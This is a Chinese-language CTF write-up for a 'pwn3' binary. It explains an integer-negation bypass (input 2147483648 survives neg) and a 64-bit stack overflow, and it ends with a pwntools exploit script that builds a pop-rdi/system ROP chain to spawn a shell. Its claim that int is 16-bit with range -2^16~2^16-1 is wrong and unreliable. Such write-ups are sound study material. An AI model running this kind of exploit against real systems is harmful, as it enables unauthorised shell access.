一.pwn3
1.源码分析
就是要输入一个负数,然后进行num=-num,再判断是否为负数,是的话成功绕过,再进入vuln函数。
vuln函数给了system函数,但参数需要自己压入栈内。
我们再去看看num=-num是怎么具体实现的,直接看汇编语言。发现是依靠neg指令来完成的。
2.确定思路
一.前面的num绕过
①这里就要讲到计算机内存数值存储方式是补码,何为补码。
https://blog.csdn.net/weixin_44718794/article/details/106252940
自己看链接。
我自己总结一下,方便我以后自己看。
正数的原码,反码,补码都是一样的。
负数的反码:符号位不变,其它取反。
负数的补码:在反码的基础上+1。符号位也在变化范围,但不进位。eg:反码1111,补码0000.
②neg指令的了解
https://blog.csdn.net/weixin_42250302/article/details/103432850
总结一下:
在补码的基础下,进行取反(包括符号位),再+1.,符号位也在变化范围内。
③怎么绕过
可以看到源码的输入格式为int,int范围为16位,-32768~32767(-2^16~2^16-1)。我们把32767去转换为二进制看看
得到15位1,也就是说int范围的16位,总会有一位符号位。那我们输入超过这个范围的数。
例如随便输一个40000,已经超过int的范围了。
可以看到第一位为1,到系统内存中,就会认为这是符号位,把这个数字认定为负数。可以说第一步就可绕过了。
接下来是绕过neg指令,neg有个点需要注意就是取反后,要+1。重点就是这个+1。
例如我们输入数的二进制为1000,补码为0000,经过neg指令,为10000,可以观察到结果还是为负数。
我们就可以输入2147483648进行绕过
二.压入参数
具体不赘述了。我刚开始做的时候,傻了,被libc迷昏了头,以为调用system函数,必须得知道got表的地址,其实并不然,只需plt即可。
这题,我用plt地址会报错,换为调用system函数地址的地址时,就成功了,离谱(这里有点想不通)。
三.计算垃圾字符的偏移量
因为IDA上的偏移量有些时候会不准确,我就尝试去gdb上调试分析,先是cyclic法,发现没有报错地址(也有可能我眼瞎)。又换另外一个方法,输入八个A,发现栈内没有A的回显。我才想起来这是64位的,垃圾字符偏移量是计算八个A到ebp的值。
也就是0x7fffffffdea0到0x7fffffffdec0的距离,计算出的值和IDA也是一样的。
3.exp.py
from pwn import *
context.log_level = "debug"
p = process("./pwn3")
elf = ELF("./pwn3")
sy_addr=0x0000000000401205
pop_rdi=0x000000000040131b
sh=0x00000000004033B0
payload1=b'2147483648'
p.recvuntil('I need a number:')
p.sendline(payload1)
p.recvuntil('Congratulations!')
payload2 = b"A"*40 + p64(pop_rdi)+ p64(sh) + p64(sy_addr)
p.sendline(payload2)
p.interactive()